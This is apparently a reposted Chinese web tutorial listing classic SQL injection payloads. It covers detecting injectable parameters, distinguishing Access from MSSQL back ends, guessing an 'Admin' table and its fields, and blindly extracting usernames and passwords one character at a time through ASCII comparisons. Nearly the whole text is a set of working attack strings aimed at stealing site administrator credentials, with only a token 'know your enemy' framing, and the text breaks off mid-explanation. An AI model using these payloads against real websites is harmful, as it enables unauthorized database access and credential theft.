超详细SQL经典注入语句,我们要知己知彼。奉献给大家。
第一步先把IE菜单=>工具=>Internet选项=>高级=>显示友好 HTTP 错误信息前面的勾去掉。否则,不论服务器返回什么错误,IE都只显示为HTTP 500服务器错误,不能获得更多的提示信息。
数字型:and 1=1 and 1=2 判断是否存在注入 字符型:' and '1'='1 ' and '1'='2 搜索型: 关键字%' and 1=1 and '%'='% 关键字%' and 1=2 and '%'='%
IIS报错情况下使用: and user>0 (判断是ACCESS还是MSSQL)
不报错则使用各自数据库特性来判断 and (select count(*) from msysobjects)>0 (返回权限不足access数据库) and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)
and db_name()>0 (返回数据库名) and 0<>(select @@version)-- (判断版本信息) and db_name()>0 (返回数据库名)
************注意:猜解之前先要找到后台地址,不然白忙了********** ACCESS注入:
猜解表名(正常则存在admin,不正常则不存在) and exists (select * from [admin]) and (Select Count(*) from Admin)>0
猜解字段:(字段username存在则正常,不正常则不存在) and (Select username from Admin)>0 and exists (select username from [admin])
猜解用户名和密码长度 and (select top 1 len(username) from Admin)>0 and (select top 1 len(password) from Admin)>0 原理:如果top 1的username长度大于0,则条件成立;接着就是>1、>2、>3这样测试下去,一直到条件不成立为止,比如>4成立,>5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.
猜解用户 and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…, 当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109.,得到第一个字符是m。 同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2… 到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。 注意的是英文和数字的ASCII码在1-128之间...
(责任编辑:admin) |